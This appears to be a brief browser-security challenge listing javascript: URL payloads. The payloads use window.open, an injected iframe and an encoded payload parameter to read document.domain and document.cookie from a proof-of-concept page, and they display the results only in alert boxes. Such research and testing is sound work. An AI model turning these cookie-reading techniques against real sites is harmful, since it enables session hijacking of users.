The challenge: Can you get document.domain as well as document.cookie in Chrome and Firefox? :)
javascript:alert('Domain:' + document.domain + '\nCookies:' + document.cookie)
javascript:w=window.open('https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=0','_blank');alert(/delay/);alert('Domain:' %2b w.document.domain %2b '\nCookies:' %2b w.document.cookie);
javascript:document.write(%22<iframe name=myfrm src='https://20.rs/pocs/target_blank/anchor_pocs1.php' onload='alert(`Domain:` %2b this.contentWindow.document.domain %2b `\nCookies:` %2b this.contentWindow.document.cookie)'></iframe>%22);document.close();
https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=1&payload=javascript:w=window.open(%27https://20.rs/pocs/target_blank/anchor_pocs1.php?canbeframed=0%27,%27_blank%27);setTimeout(%22alert(w.document.cookie)%22,500);console.log(1);
Use SHIFT+CLICK or CTRL+CLICK or ALT+CLICK or Middle-Mouse-Click